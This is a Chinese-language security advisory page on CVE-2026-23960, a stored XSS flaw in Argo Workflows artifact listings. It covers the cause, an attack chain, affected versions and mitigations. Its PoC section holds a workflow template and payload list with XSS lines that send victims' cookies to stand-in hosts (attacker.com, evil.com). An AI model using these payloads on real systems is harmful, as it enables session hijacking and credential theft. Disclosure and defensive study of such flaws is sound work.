IPBUF安全漏洞报告
English
CVE-2026-23960 CVSS 5.4 中危

CVE-2026-23960: Argo Workflows存储型XSS漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2026-23960
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Argo Workflows

相关标签

存储型XSSArgo WorkflowsKubernetes工作流引擎容器编排会话劫持CVSS 5.4CVE-2026-23960GitHub安全咨询

漏洞概述

CVE-2026-23960是Argo Workflows中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于artifact目录列表功能中,允许具有工作流编写权限的低权限用户在artifact文件名称中注入恶意JavaScript代码。当其他用户浏览这些artifact目录时,注入的恶意脚本会在受害者的浏览器上下文中执行,源地址为Argo Server。由于脚本在Argo Server源下执行,攻击者可以利用受害者的会话权限执行API操作,包括但不限于数据窃取、权限提升或执行其他未授权操作。此漏洞需要用户交互才能触发,攻击者需要诱使受害者访问包含恶意代码的artifact列表页面。

技术细节

该漏洞的根本原因在于Argo Workflows的artifact服务器(server/artifacts/artifact_server.go)在展示artifact目录列表时,未对artifact文件名进行充分的HTML转义或输入验证。当工作流生成的artifact文件名包含恶意构造的脚本标签或JavaScript事件处理器时,这些内容会被直接嵌入到返回的HTML页面中。攻击者可以通过创建工作流时指定包含XSS payload的文件名(如<img src=x onerror=alert(document.cookie)>),该payload会被存储并在后续用户访问artifact列表时从后端取出并渲染。由于攻击脚本在Argo Server的源下执行,它可以访问该源下的所有cookies和localStorage,从而实现会话劫持或利用受害者已认证的会话执行API请求。修复方案需要在artifact文件名的输出点添加适当的输出编码,或实现严格的内容安全策略(CSP)。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标环境中运行的Argo Workflows版本,确认版本低于3.6.17或3.7.8,并了解artifact存储和展示功能的位置
STEP 2
初始访问
攻击者获取Argo Workflows的普通用户权限,能够创建和提交工作流(需要低权限PR:L)
STEP 3
恶意负载注入
攻击者在工作流的artifact定义中注入包含XSS payload的文件名,如使用HTML标签或JavaScript事件处理器作为artifact名称
STEP 4
负载持久化
工作流执行后,恶意artifact文件名被存储在Argo Server的后端存储中,并在artifact目录列表中持久化展示
STEP 5
社交工程
攻击者诱使具有更高权限的受害者(如管理员)访问包含恶意payload的artifact列表页面(需要用户交互UI:R)
STEP 6
脚本执行
受害者的浏览器加载artifact列表页面时,注入的JavaScript代码在Argo Server源上下文中执行,能够访问该域的认证cookies和令牌
STEP 7
会话劫持与横向移动
恶意脚本将受害者的认证令牌发送到攻击者控制的服务器,攻击者利用窃取的会话执行API操作,可能包括数据访问、修改工作流或提升权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-23960 PoC - Stored XSS in Argo Workflows Artifact Listing // This PoC demonstrates how to inject malicious JavaScript through artifact filenames // Step 1: Create a workflow with a crafted artifact filename containing XSS payload const workflowTemplate = { apiVersion: 'argoproj.io/v1alpha1', kind: 'Workflow', metadata: { generateName: 'xss-poc-' }, spec: { entrypoint: 'main', templates: [{ name: 'main', container: { image: 'alpine:latest', command: ['sh', '-c'], args: ['echo "test"'], resources: {} }, outputs: { artifacts: [{ name: '<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>', path: '/tmp/output.txt' }] } }] } }; // Step 2: Submit the workflow via Argo API // POST /api/v1/workflows/{namespace} // Authorization: Bearer {token} // Step 3: When victim views artifact list at: // GET /api/v1/artifacts/{namespace}/{workflow}/... // The XSS payload will execute in victim's browser // Alternative simpler payload for testing: const simplePayloads = [ '<script>alert(document.domain)</script>', '<img src=x onerror=alert(1)>', '<svg onload=alert(document.cookie)>', '<body onload=fetch("https://evil.com?"+btoa(document.cookie))>' ];

影响范围

Argo Workflows < 3.6.17
Argo Workflows < 3.7.8

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1) 限制工作流创建权限,仅允许受信任的用户创建工作流;2) 在前端代理层对artifact列表响应进行HTML清理和转义;3) 启用Web应用防火墙(WAF)规则检测和阻止常见的XSS payload;4) 提醒用户不要点击来源不明的artifact链接;5) 监控API日志以检测异常的JavaScript代码注入行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表